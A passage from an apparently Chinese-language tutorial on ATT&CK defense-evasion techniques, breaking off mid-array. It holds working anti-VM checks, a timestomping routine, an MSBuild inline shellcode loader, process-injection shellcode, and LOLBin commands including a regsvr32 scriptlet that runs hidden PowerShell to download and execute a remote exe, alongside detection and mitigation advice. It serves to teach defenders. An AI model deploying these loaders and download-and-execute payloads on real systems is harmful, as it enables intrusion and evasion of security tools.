1. 分析网络数据中不常见的数据流（例如，客户端发送的数据明显多于从服务器接收的数据），用户行为监视可能有助于检测异常活动模式。另外通讯频率也是至关重要的考量单位，单位时间内高频率的Web访问需要重点关注其具体行为。
2. 分析数据包内容以检测未遵循所使用端口的预期协议行为的通信。
#### 缓解方案：
1. 使用网络签名识别特定攻击者恶意程序的流量，通过网络入侵检测和网络访问限制防御系统缓解网络级别的恶意活动。
2. 使用Web代理实施外部网络通讯策略，以防止使用未经授权的外部网络访问服务。
#### 参考链接
Att&ck：<https://attack.mitre.org/techniques/T1102/>
### 3、虚拟化和沙箱的检测
#### 原理及代码介绍
恶意软件分析人员经常会使用隔离的环境（如 虚拟机、沙箱）来分析未知程序中的 **恶意代码**
，为了逃避分析并绕过安全系统检测，恶意软件作者通常会添加代码来检测目前是否运行在隔离的环境。一旦检测到这种环境，恶意软件就可以阻止恶意代码运行，或者可以改变恶意软件的行为，从而避免在VM中运行时暴露恶意活动。
例如：在真实硬件上运行时，恶意软件将连接到其C&C服务器，但是在检测到VM时，它将连接到合法域名，从而使分析人员或自动安全检测系统认为这是合法代码。
攻击者可以通过搜索安全监测工具（例如Sysinternals，Wireshark等）来确定目前是否为分析环境。通过搜索流行的虚拟化方案的 **固有特征**
以监测是否运行在虚拟化环境中， 如搜索VMTools进程是否存在以确认是否在VMWare中运行。在恶意代码中使用计时器或循环，来监测代码是否在沙箱中运行。
虚拟机软件主要是模仿真实硬件的硬件功能，但是通常会在操作系统中存在一些特征，这有助于表明它确实是虚拟机而不是物理机。这些特征可能是特定的文件、进程、注册表项、服务或者是网络设备适配器等等。利用这一“设计缺陷”，编码以检测虚拟机配置文件、可执行文件、注册表项或其他特征，从而操纵其原始执行流程。此行为称为“反沙箱”或“反VM”。Att&ck中列举了多种策略，恶意软件使用这些策略来检查流行的沙箱和虚拟环境，下面笔者将以一些常规策略为例，介绍其检测手法及代码实现的原理。
##### 通过WMI 检查主板信息及BIOS信息，以确认是否在虚拟机中运行
在虚拟机中安装的操作系统， 由于其部分硬件为虚构出来的，
有不少硬件存在固定的特征，可以利用该特征来确认是否运行于虚拟机中。如BIOS信息、硬盘信息。众所周知，通过Windows系统中WMI提供的接口可以查询到操作系统中绝大多数的相关信息。如下图所示，通过命令行调用WMIC在使用WMI查询硬盘信息，可以确认，默认的虚拟机中其硬盘名称中包含Vmware
字样，而真实物理机中通常不含这样的信息：
进一步查询BIOS 的编号，不难发现其编号中也有Vmware字样，而真实物理机中却不包含。
我们完全可以以这样的差异，用于检测代码是否运行在虚拟系统中，如下的代码演示了通过新建命令行程序并执行查询BIOS编号，通过检查其中是否有Vmware字符串来确定是否允许于Vmware虚拟机中，同理，读者可以尝试一下在其他诸如VirtualBox的虚拟化环境中是否有这样的特征.
/*
通过WMI查询， 检查主板信息和BIOS信息，以确认是否在VM中运行
*/
bool checkvm_by_wmiinfo()
{
bool ret = false;
DWORD cb = 0;
DWORD need_read_cb;
DWORD data_avail;
HANDLE new_process;
STARTUPINFO si;
PROCESS_INFORMATION pi;
HANDLE read_pipe_handle, write_pipe_handle;
SECURITY_ATTRIBUTES sa_attr;
BYTE read_buffer[0x1000];
sa_attr.nLength = sizeof(SECURITY_ATTRIBUTES);
sa_attr.bInheritHandle = TRUE;
sa_attr.lpSecurityDescriptor = NULL;
if(!CreatePipe(&read_pipe_handle, &write_pipe_handle, &sa_attr, 0))
{
goto Error_Exit;
}
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
GetStartupInfo(&si);
si.cb = sizeof(si);
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.hStdOutput = write_pipe_handle;
si.hStdError = write_pipe_handle;
if (!CreateProcess(_TEXT("c:\\windows\\system32\\cmd.exe"), _TEXT("\/c wmic bios get serialnumber"), NULL,
NULL, TRUE, NULL, NULL, NULL, &si, &pi))
{
goto Error_Exit;
}
WaitForSingleObject(pi.hProcess, INFINITE);
do
{
if (!PeekNamedPipe(read_pipe_handle, NULL, NULL, &need_read_cb, &data_avail, NULL) || data_avail <= 0)
{
break;
}
if (!ReadFile(read_pipe_handle, read_buffer,data_avail, &cb, NULL))
{
goto Error_Exit;
}
//读取的 read_buffer 可能为unicode 编码!!!
if(strstr((char*)read_buffer, ("VMware")) != NULL)
{
ret = true;
break;
}
} while (true);
Error_Exit:
if(read_pipe_handle != NULL)
{
CloseHandle(read_pipe_handle);
read_pipe_handle = NULL;
}
if(write_pipe_handle != NULL)
{
CloseHandle(write_pipe_handle);
write_pipe_handle = NULL;
}
if(pi.hProcess != NULL)
{
CloseHandle(pi.hProcess);
}
if (pi.hThread != NULL)
{
CloseHandle(pi.hThread);
}
return ret;
}
##### 搜索系统中的进程名称，通过检查是否正在运行有流行虚拟机的特有进程，来检查是否运行在虚拟机中
虚拟机为了实现某些功能，通常需要在虚拟的系统中安装一些程序，通过这些程序配合宿主机中安装的程序来完成，如下图所示的vmtoolsd进程，即为VMware实现拖拽功能所须安装的程序，通常情况下，虚拟机都会安装该程序以实现真机和虚拟机的无缝拖拽功能。
/*
搜索系统中的进程名称，通过检查流行虚拟机的特有进程，来检查是否运行在虚拟机中
*/
bool checkvm_by_process()
{
bool ret = false;
HANDLE process_snap;
PROCESSENTRY32 pe32;
process_snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (process_snap == INVALID_HANDLE_VALUE)
{
goto Error_Exit;
}
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(process_snap, &pe32))
{
goto Error_Exit;
}
do
{
if ((lstrcmp(pe32.szExeFile, _TEXT("vmtoolsd.exe")) == 0) ||
(lstrcmp(pe32.szExeFile, _TEXT("vmwaretrat.exe")) == 0)||
(lstrcmp(pe32.szExeFile, _TEXT("vmwareuser.exe")) == 0)||
(lstrcmp(pe32.szExeFile, _TEXT("vmacthlp.exe")) == 0)||
(lstrcmp(pe32.szExeFile, _TEXT("vboxservice.exe")) == 0)||
(lstrcmp(pe32.szExeFile, _TEXT("vboxtray.exe")) == 0))
{
ret = true;
break;
}
} while (Process32Next(process_snap, &pe32));
Error_Exit:
if (process_snap != INVALID_HANDLE_VALUE)
{
CloseHandle(process_snap);
process_snap = INVALID_HANDLE_VALUE;
}
return ret;
}
#### 检查及限制方案
一般而言，虚拟机及沙箱的检测无法通过预防性控制进行环境，因为它基于滥用系统功能
#### 参考链接
ATT&CK：<https://attack.mitre.org/techniques/T1497>
### 4、受信任的开发人员实用程序利用
#### 原理及代码介绍
有许多实用程序用于软件开发相关的任务，这些实用程序可以用于执行各种形式的代码，以帮助开发人员进行快速开发、调试和逆向工程。这些实用程序通常拥有合法证书进行签名，以使他们可以在系统上执行，通过这些可信任的进程代理执行恶意代码，可以绕过系统中应用程序防御白名单机制。以下将以MSBuild为例，说明该例。
Microsoft Build Engine 是一个用于生成应用程序的平台。 此引擎（也称为 MSBuild）为项目文件提供了一个 XML
架构，用于控制生成平台处理和生成软件的方式。 Visual Studio 会使用 MSBuild，但它不依赖于 Visual Studio。
通过在项目或解决方案文件中调用 msbuild.exe ，可以在未安装 Visual Studio 的环境中安排和生成产品。
Visual Studio 使用 MSBuild 来加载和生成托管项目。 Visual Studio 中的项目文件（.csproj 、.vbproj
、vcxproj 等）包含 MSBuild XML 代码，当你使用 IDE 来生成项目时，此代码就会运行。 Visual Studio
项目会导入所有必要的设置和生成过程来执行典型的开发工作，但你可以从 Visual Studio 内或通过使用 XML 编辑器对其进行扩展或修改。
攻击者可以使用MSBuild通过受信任的Windows实用工具进行代码代理执行，以绕过系统的Applocker 或者 是杀软的白名单检查机制。 .Net
4中引入的MSBuild内联任务功能允许将C#代码插入XML项目文件中，MSBuild将编译并执行内联任务。MSBuild.exe是一个经过Microsoft签名的二进制文件，因此以这种方式使用它时，可以执行执行任意代码，并绕过配置为允许MSBuild执行的应用程序白名单防护。
MSBuild可编译特定格式的XML文件，在.NET Framework 4.0中支持了一项新功能”Inline
Tasks”，被包含在元素UsingTask中，可用来在XML文件中执行C#代码， 如下的XML文件中包含了加载并执行Shellcode的过程：
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes shellcode. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
<!-- Save This File And Execute The Above Command -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public override bool Execute()
{
byte[] shellcode = new byte[304]{
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x8D, 0x45, 0xEC, 0xC7, 0x45, 0xEC, 0x75, 0x73, 0x65,
0x72, 0x33, 0xDB, 0xC7, 0x45, 0xF0, 0x33, 0x32, 0x2E, 0x64, 0x50, 0xB9, 0x4C, 0x77, 0x26, 0x07,
0x66, 0xC7, 0x45, 0xF4, 0x6C, 0x6C, 0x88, 0x5D, 0xF6, 0xC7, 0x45, 0xF8, 0x74, 0x6F, 0x70, 0x73,
0x66, 0xC7, 0x45, 0xFC, 0x65, 0x63, 0x88, 0x5D, 0xFE, 0xE8, 0x1A, 0x00, 0x00, 0x00, 0xFF, 0xD0,
0x53, 0x8D, 0x45, 0xF8, 0xB9, 0x45, 0x83, 0x56, 0x07, 0x50, 0x50, 0x53, 0xE8, 0x07, 0x00, 0x00,
0x00, 0xFF, 0xD0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x83, 0xEC, 0x10, 0x64, 0xA1, 0x30, 0x00, 0x00,
0x00, 0x53, 0x55, 0x56, 0x8B, 0x40, 0x0C, 0x57, 0x89, 0x4C, 0x24, 0x18, 0x8B, 0x70, 0x0C, 0xE9,
0x8A, 0x00, 0x00, 0x00, 0x8B, 0x46, 0x30, 0x33, 0xC9, 0x8B, 0x5E, 0x2C, 0x8B, 0x36, 0x89, 0x44,
0x24, 0x14, 0x8B, 0x42, 0x3C, 0x8B, 0x6C, 0x10, 0x78, 0x89, 0x6C, 0x24, 0x10, 0x85, 0xED, 0x74,
0x6D, 0xC1, 0xEB, 0x10, 0x33, 0xFF, 0x85, 0xDB, 0x74, 0x1F, 0x8B, 0x6C, 0x24, 0x14, 0x8A, 0x04,
0x2F, 0xC1, 0xC9, 0x0D, 0x3C, 0x61, 0x0F, 0xBE, 0xC0, 0x7C, 0x03, 0x83, 0xC1, 0xE0, 0x03, 0xC8,
0x47, 0x3B, 0xFB, 0x72, 0xE9, 0x8B, 0x6C, 0x24, 0x10, 0x8B, 0x44, 0x2A, 0x20, 0x33, 0xDB, 0x8B,
0x7C, 0x2A, 0x18, 0x03, 0xC2, 0x89, 0x7C, 0x24, 0x14, 0x85, 0xFF, 0x74, 0x31, 0x8B, 0x28, 0x33,
0xFF, 0x03, 0xEA, 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x1C, 0x0F, 0xBE, 0x45, 0x00, 0xC1, 0xCF,
0x0D, 0x03, 0xF8, 0x45, 0x80, 0x7D, 0xFF, 0x00, 0x75, 0xF0, 0x8D, 0x04, 0x0F, 0x3B, 0x44, 0x24,
0x18, 0x74, 0x20, 0x8B, 0x44, 0x24, 0x1C, 0x43, 0x3B, 0x5C, 0x24, 0x14, 0x72, 0xCF, 0x8B, 0x56,
0x18, 0x85, 0xD2, 0x0F, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, 0x33, 0xC0, 0x5F, 0x5E, 0x5D, 0x5B, 0x83,
0xC4, 0x10, 0xC3, 0x8B, 0x74, 0x24, 0x10, 0x8B, 0x44, 0x16, 0x24, 0x8D, 0x04, 0x58, 0x0F, 0xB7,
0x0C, 0x10, 0x8B, 0x44, 0x16, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x10, 0x03, 0xC2, 0xEB, 0xDB
};
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
该XML文件中包含的C#代码，采用了VirtualAlloc()申请内存空间，并将Shellcode拷贝到该地址，最后调用CreateThread()创建线程开始执行，并等待shellcode执行完毕后退出。其中Shellcode由VS编译生成的可执行文件提取而来,运行后弹出提示框。如下图所示：
使用CMD执行”MSBuild execute shellcode.xml” 指定的shellcode 便执行起来
#### 检查及限制方案
使用进程监视工具来监视MSBuild.exe，dnx.exe，rcsi.exe，WinDbg.exe，cdb.exe和tracker.exe的执行和参数,
将这些二进制文件的最近调用与已知良好参数的调用进行比较，已确定异常活动和潜在的对抗活动。这些实用程序很可能会被软件开发人员使用或用于其他与软件开发相关的任务，因此，如果该程序存在并在该用途之外进行使用，则该事件可能是可疑的。对调用实用程序之前和之后使用的命令参数进行分析，
也可能对确定该可执行文件的来源和目的有帮助。
#### 参考链接
Attck：<https://attack.mitre.org/techniques/T1127/>
MSBuild：<https://docs.microsoft.com/zh-cn/visualstudio/msbuild/msbuild?view=vs-2019>
Use MSBuild To Do More：<https://3gstudent.github.io/3gstudent.github.io/Use-MSBuild-To-Do-More/>
### 5、时间戳伪装
#### 原理及代码介绍
系统中的每一个文件，都有着与时间有关的属性，如文件创建时间、最后一次修改时间及文件最后一次的访问时间等属性。为了使某些文件看起来更像是原本就存在于文件夹中，而不是后来新加入的，恶意软件通常会修改文件的
**时间戳** ，对于某些取证工具或者分析人员而言，经过调整文件时间与大部分已有文件一致，使得文件不会显得那么明显，从而能够逃避部分 **主机取证分析**
。
Att&CK中列举了诸多APT攻击所采用的更改时间戳的防御手段，如伪造PE文件编译时间、修改为desktop.ini文件的时间戳、或是修改恶意文件为Kernel32.dll的文件时间等等，在进行分析的过程中，文件的时间戳也是判断文件来源及合法性的一个有利依据，通过将文件的时间戳改为和系统文件一致，或许可以干扰人工分析的视线，如下的代码演示了利用系统文件Kernel32.dll的时间戳来伪造任意文件的时间戳的过程。
bool change_time_usekernel32(TCHAR* file_path)
{
bool ret = false;
TCHAR sysdir[MAX_PATH];
TCHAR kernel32_path[MAX_PATH];
HANDLE kernel32_handle = INVALID_HANDLE_VALUE;
HANDLE targetfile_handle = INVALID_HANDLE_VALUE;
FILETIME create_time;
FILETIME lastaccess_time;
FILETIME lastwrite_time;
//获取kernel32.dll模块的文件时间
GetSystemDirectory(sysdir, MAX_PATH);
wsprintf(kernel32_path, _TEXT("%s%s"), sysdir, _TEXT("\\kernel32.dll"));
kernel32_handle = CreateFile(kernel32_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (kernel32_handle == INVALID_HANDLE_VALUE)
{
goto Error_Exit;
}
if(!GetFileTime(kernel32_handle, &create_time, &lastaccess_time, &lastwrite_time))
{
goto Error_Exit;
}
//重置目标文件的文件时间
targetfile_handle = CreateFile(file_path, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (targetfile_handle == INVALID_HANDLE_VALUE)
{
goto Error_Exit;
}
if (!SetFileTime(targetfile_handle, &create_time, &lastaccess_time, &lastwrite_time))
{
goto Error_Exit;
}
ret = true;
Error_Exit:
if (targetfile_handle != INVALID_HANDLE_VALUE)
{
CloseHandle(targetfile_handle);
}
if (kernel32_handle != INVALID_HANDLE_VALUE)
{
CloseHandle(kernel32_handle);
}
return ret;
}
int _tmain(int argc, _TCHAR* argv[])
{
change_time_usekernel32(_TEXT("test.txt"));
return 0;
}
Kernel32的时间戳如下:
修改前后的文件时间如下：
如果将恶意文件放在系统目录，并伪装成Kernel32的时间戳，对于部分人工分析取证手段会具有一定迷惑性。
#### 检查及限制方案
1. 可以使用文件修改监视工具来监视文件的时间戳更改情况，并记录日志以便后续进行分析和筛查。
2. 这种攻击技术无法通过预防性控制来缓解，因为它基于滥用系统功能。
#### 参考链接
Att&ck：<https://attack.mitre.org/techniques/T1099/>
### 6、PubPrn代理脚本代码执行
#### 原理及代码介绍
随着恶意的脚本文件不断增加，在某些系统环境中，管理人员可能使用白名单来阻止未签名的Windows Script
Host（WSH）脚本文件运行，但是通过将恶意代码“注入”到Microsoft签名的脚本中，使用 **受信任证书**
签名的脚本代理执行恶意脚本文件，从而可以绕过系统中的 **签名验证** 和部分杀软的 **应用程序白名单** 验证绕过。
Windows系统中存在的PubPrn.vbs由Microsoft签名，恶意利用该脚本可以代理远程脚本文件的执行，以突破部分安全限制。利用的命令如下：
pubprn.vbs 127.0.0.1 script:http://127.0.0.1/sc.sct
Pubprn脚本的位置在system32的子目录中，本身是用于打印相关的工作。
在其脚本中，68行的位置使用了来自参数中的内容，将该内容传递给GetObject()函数,
鉴于此使用者可以在此处指定网络文件以执行自定义的脚本文件。Pubprn的利用只是一个样例，安全人员以此为基础可以了解此类内置脚本的利用方法，以便在安全分析过程识破攻击者的意图。
以下为打开计算器的脚本文件
执行该命令，脚本得以执行弹出计算器
#### 检查及限制方案
##### 检查方法：
审查和监视脚本执行中的命令行参数，必要的时候审查参数和脚本执行流程，已确定是否被恶意利用。
##### 缓解措施:
在特定环境中，对于不必要的签名脚本，将系统配置为阻止脚本执行的应用程序白名单，以防止对手潜在的滥用。
#### 参考链接
1. Att&ck：<https://attack.mitre.org/techniques/T1216/>
2. Pubprn.vbs : <https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc753116(v=ws.11)>
### 7、签名二进制程序代理执行
#### 原理及代码介绍
使用受信任的数字证书签名的二进制文件可以在受数字签名验证保护的Windows系统上执行，Windows中默认安装了一些由Microsoft签名的二进制文件，可用于代理其他文件的执行。攻击者可能会滥用这些行为来执行恶意文件，从而可以绕过操作系统中的杀毒软件
**应用程序白名单** 检测及操作系统的 **数字签名验证** 。
##### Msiexec.exe
misexec.exe 是Windows Installer
的命令行程序，该工具主要用于执行后缀为.msi的软件安装程序，攻击者可以使用msiexec.exe来启动恶意的msi文件以执行恶意代码，可以使用msiexec来启动本地或者网络上可访问的MSI文件，另外msiexec.exe也可以用于执行DLL。
攻击者常用的Msiexec.exe 命令行参数如下：
msiexec.exe /q /i "C:\path\to\file.msi"
msiexec.exe /q /i http[:]//site[.]com/file.msi
msiexec.exe /y "C:\path\to\file.dll"
为了演示滥用msiexec.exe发起攻击，介绍一种msi文件的构建方法。通过使用Advanced Installer
工具，可以快速构建MSI文件，并执行脚本代码、可执行程序或者是调用动态链接库函数。打开Advanced
Installer创建一个simple类型的安装工程，并在Custom Actions页面加入自定义的操作。
可以按需要添加希望执行的操作及条件，其中支持的Action非常丰富，下面以运行Powershell脚本为例，让msi文件在运行之初，执行一段Powershell脚本。
编译生成MSI文件后，通过Msiexec调用该MSI文件执行情况如下。PowerShell代码在MSI文件加载之初得以执行。
##### Mavinject.exe
Mavinject是Windows上的一个合法组件，使用该程序可以向正在运行的进程中注入任意代码执行，由于它是Windows上的常见组件且具有数字签名，常被攻击者恶意使用以隐蔽执行代码。通过如下的方式调用Mavinject，可以将DLL注入到运行的进程中：
MavInject.exe <PID> /INJECTRUNNING <PATH DLL>
##### Odbcconf文件
Odbcconf.exe是Windows系统默认自带的工具程序，可以用于配置开放式数据库（OBDC）驱动程序和数据源名称。使用odbcconf工具可以加载DLL并执行，其命令行参数如下：
odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"}
#### 检查及限制方案
1. 监视可能用于代理恶意代码执行的已签名二进制文件的进程和命令行参数，例如msiexec.exe从网上下载MSI文件并执行，可能表明存在异常。将各种活动与其他可疑行为相关联，以减少可能由于用户和管理员的良性使用而导致的误报。
2. 如用户环境中更需要使用这些二进制文件，可以将它们的执行限制在需要使用它们的特权账户或者租中，以减少被恶意滥用的机会。
#### 参考链接
1. Att&CK：<https://attack.mitre.org/techniques/T1218/>
2. Mavinject： <https://reaqta.com/2017/12/mavinject-microsoft-injector/>
3. OBDC 详请：<https://docs.microsoft.com/zh-cn/sql/odbc/odbcconf-exe?view=azuresqldb-mi-current>
### 8、Regsvr32代理代码执行
#### 原理及代码介绍
Regsvr32是Windows系统中的一个命令行程序，用于在Windows系统上对象链接和嵌入控件的注册及卸载工作，而攻击者同样可以利用regsvr32来执行任意的二进制文件。
攻击者会利用regsvr32来代理代码执行，以避免触发安全工具的提示， **regsvr32由Microsoft签名**
的文件，由于普通程序通常使用regsvr32进行正常操作，所以安全工具可能无法有效的区分regsvr32进程的执行以及由regsvr32加载的模块是否被恶意使用。
通过Regsvr加载系统中的scrobj.dll，可以依靠其提供的com接口解析并执行sct脚本，从而绕过进程白名单限制，而执行恶意代码。然后Regsvr具有网络和代理功能，它允许具有普通特权的用户下载并执行远程服务器上托管的脚本。所有这些操作都是通过与操作系统一起安装的已签名Microsoft二进制文件完成的。由于脚本是远程托管的，并且由合法的Microsoft二进制文件运行，因此可以绕过一些因将regsvr列入白名单的安全软件的许多
**常规检测和阻止机制** 。这种技术的变种通常被称为“Squiblydoo”攻击，并已在实际攻击行动中使用。
**Squiblydoo**
利用二进制regsvr32来下载一个XML文件，该文件包含用于在受害机器上执行代码的script。攻击者可以利用ActiveX并将自定义的Vb或JS嵌入在XML文件中，以进行任何类型的攻击。其调用命令如下：
regsvr32.exe /s /i:http://c2/script.sct scrobj.dll
命令行中的sct文件（实际上是XML文件）中具有一个注册标记，其中可以引用VBScript或Jscript代码，该文件可能是任意后缀名，不一定必须是.sct，下面的示例代码会调用计算器并执行。
<?XML version="1.0"?>
<scriptlet>
<registration
progid="TESTING"
classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
<script language="JScript">
<![CDATA[
var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>
前面介绍过了还可以引用网络脚本并解析执行，将其中的JS代码改为如下，通过JS启动powershell，传递命令下载并执行程序.
<?XML version="1.0"?>
<scriptlet>
<registration
progid="DownAndExec"
classid="{A1112231-0000-0000-3000-000DA00DABFC}" >
<script language="JScript">
<![CDATA[
var ws = new ActiveXObject("WScript.Shell");
var ps = "powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -command ";
var dn = "$down = New-Object System.Net.WebClient;\
$url = 'http://192.168.xx.xx/baidu.exe';\
$file = '%TMP%\\baidu.exe';$down.DownloadFile($url,$file);\
$exec = New-Object -com shell.application;$exec.shellexecute($file);\
exit;";
ws.Exec(ps + dn);
]]>
</script>
</registration>
</scriptlet>
传递如下的命令，在本地搭建http服务，尝试通过网络下载该脚本并执行
regsvr32.exe /s /i:http://192.168.xx.xx/download.txt scrobj.dll
最后成功下载并执行该脚本，并进一步下载并执行baidu.exe，该程序即为Dbgview
#### 检查及限制方案
使用进程监视工具监视regsvr32的执行和参数，将regsvr32的最近调用与已知良好参数和加载文件的记录进行比较，已确定是否存在异常和潜在的对抗活动。
#### 参考链接
1. Att&ck：<https://attack.mitre.org/techniques/T1117/>
2. Squiblydoo：<https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/>
### 9、进程注入
#### 原理及代码介绍
进程注入是一种在独立的活动进程的地址空间中执行任意代码的方法，在另一个进程的上下文中运行代码，会允许访问该进程的内存、系统资源、网络资源以及可能的特权提升。由于执行的代码由合法的程序代理执行，因此通过进程注入执行也可能会绕过部分安全产品的
**防病毒** 检测或 **进程白名单** 检测。
##### Windows
有多种方法可以将代码注入正在运行的进程，在Windows系统中的实现方式主要包括以下列出的几类：
**动态链接库（DLL** ）注入 **：在目标进程的内存中写入恶意DLL的路径，然后通过创建** 远程线程来调用执行。
**可执行代码（Shellcode** ）注入 **：将恶意代码直接写入目标进程（在磁盘上不存储文件），然后通过创建** 远程线程
**或者其他方式来触发** 代码执行。
**线程执行劫持** ：挂起目标进程的执行线程，将恶意代码或者DLL路径写入到目标进程的线程中，然后恢复线程执行。此方法与僵尸进程相似。
**异步过程调用（APC** ） **：将恶意代码附加到目标进程的** APC **队列**
中，当线程进入可改变状态时，将执行排队的APC函数。APC注入的一种变体是，创建一个暂停的进程，在该进程中，恶意代码可以通过APC在该进程的入口点之前获得执行机会。
**线程本地存储（TLS**
）:TLS回调注入涉及在可执行（PE）文件中操纵指针，以达到在执行文件的原有入口点之前首先执行恶意代码，以达到注入代码执行的目的。
##### Mac及Linux
Linux和OS X/macos系统中的注入方式大致包括：
**LD_PRELOAD、LD_LIBRARY_PATH（Linux）、DYLD_INSERT_LIBRARIES（Mac OS X）**
环境变量或dlfcn应用程序编程接口（API）可用于在程序的运行过程过程中动态加载库（共享库）。
**Ptrace系统调用** 可用于附加到正在运行的进程并在运行时对其进行修改。
**/ proc / [pid] / mem** 提供对进程内存的访问，并可用于向进程读取/写入任意数据。由于其复杂性，该技术非常罕见。
**VDSO劫持** ：通过操纵从linux-vdso.so共享库映射的代码存根，对ELF二进制文件执行运行时注入。
恶意软件通常利用进程注入来访问系统资源，从而可以对持久性和系统环境进行修改，使用命名管道或者是其他的进程间通讯（IPC）机制作为通讯通道，更复杂的样本可以执行多个过程注入以分割模块并进一步逃避检测。
下面以Windows为例，演示一下通过创建 **远程线程** 而进行 **可执行代码注入** 的操作，首先还是将可执行文件中的代码以16进制值拷贝取出
如下的注入操作首先创建了记事本进程，然后在该进程中申请空间并写入代码，最后创建远程线程执行，完毕后结束进程并退出。
unsigned char data[304] = {
0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x53, 0x8D, 0x45, 0xEC, 0xC7, 0x45, 0xEC, 0x75, 0x73, 0x65,
0x72, 0x33, 0xDB, 0xC7, 0x45, 0xF0, 0x33, 0x32, 0x2E, 0x64, 0x50, 0xB9, 0x4C, 0x77, 0x26, 0x07,
0x66, 0xC7, 0x45, 0xF4, 0x6C, 0x6C, 0x88, 0x5D, 0xF6, 0xC7, 0x45, 0xF8, 0x74, 0x6F, 0x70, 0x73,
0x66, 0xC7, 0x45, 0xFC, 0x65, 0x63, 0x88, 0x5D, 0xFE, 0xE8, 0x1A, 0x00, 0x00, 0x00, 0xFF, 0xD0,
0x53, 0x8D, 0x45, 0xF8, 0xB9, 0x45, 0x83, 0x56, 0x07, 0x50, 0x50, 0x53, 0xE8, 0x07, 0x00, 0x00,
0x00, 0xFF, 0xD0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x83, 0xEC, 0x10, 0x64, 0xA1, 0x30, 0x00, 0x00,
0x00, 0x53, 0x55, 0x56, 0x8B, 0x40, 0x0C, 0x57, 0x89, 0x4C, 0x24, 0x18, 0x8B, 0x70, 0x0C, 0xE9,
0x8A, 0x00, 0x00, 0x00, 0x8B, 0x46, 0x30, 0x33, 0xC9, 0x8B, 0x5E, 0x2C, 0x8B, 0x36, 0x89, 0x44,
0x24, 0x14, 0x8B, 0x42, 0x3C, 0x8B, 0x6C, 0x10, 0x78, 0x89, 0x6C, 0x24, 0x10, 0x85, 0xED, 0x74,
0x6D, 0xC1, 0xEB, 0x10, 0x33, 0xFF, 0x85, 0xDB, 0x74, 0x1F, 0x8B, 0x6C, 0x24, 0x14, 0x8A, 0x04,
0x2F, 0xC1, 0xC9, 0x0D, 0x3C, 0x61, 0x0F, 0xBE, 0xC0, 0x7C, 0x03, 0x83, 0xC1, 0xE0, 0x03, 0xC8,
0x47, 0x3B, 0xFB, 0x72, 0xE9, 0x8B, 0x6C, 0x24, 0x10, 0x8B, 0x44, 0x2A, 0x20, 0x33, 0xDB, 0x8B,
0x7C, 0x2A, 0x18, 0x03, 0xC2, 0x89, 0x7C, 0x24, 0x14, 0x85, 0xFF, 0x74, 0x31, 0x8B, 0x28, 0x33,
0xFF, 0x03, 0xEA, 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x1C, 0x0F, 0xBE, 0x45, 0x00, 0xC1, 0xCF,
0x0D, 0x03, 0xF8, 0x45, 0x80, 0x7D, 0xFF, 0x00, 0x75, 0xF0, 0x8D, 0x04, 0x0F, 0x3B, 0x44, 0x24,
0x18, 0x74, 0x20, 0x8B, 0x44, 0x24, 0x1C, 0x43, 0x3B, 0x5C, 0x24, 0x14, 0x72, 0xCF, 0x8B, 0x56,
0x18, 0x85, 0xD2, 0x0F, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, 0x33, 0xC0, 0x5F, 0x5E, 0x5D, 0x5B, 0x83,
